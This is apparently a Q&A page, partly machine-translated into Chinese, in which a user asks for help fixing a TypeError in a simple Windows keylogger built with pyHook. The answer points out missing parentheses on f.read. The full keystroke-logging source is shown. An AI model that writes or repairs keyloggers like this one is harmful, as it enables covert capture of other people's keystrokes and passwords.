How to fix [Type Error: unsupported operand type(s) for +=: 'builtin_function_or_method' and 'str'] error in Python

How to fix [Type Error: unsupported operand type(s) for +=: 'builtin_function_or_method' and 'str'] error in Python

我正在编写一个写入输出文件的简单键盘记录器,但是当我尝试 运行 它时,它给我带来了这个错误:

[TypeError: unsupported operand type(s) for +=: 'builtin_function_or_method' and 'str']

输出文件中还写入了不可读的字符...

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()



def OnKeyboardEvent(event):
    keyPressed = chr(int(event.Ascii) + 64)
    if event.Ascii==5:
        _exit(1)

    if event.Ascii != 0 or 8:
        f=open('C:/Users/Andrés/Desktop/hello.txt','r')
        buffer=f.read
        f.close()
        f=open('C:/Users/Andrés/Desktop/hello.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer += keylogs
        f.write(buffer)
        f.close()

hm = pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

您缺少括号:

buffer=f.read()
             ^^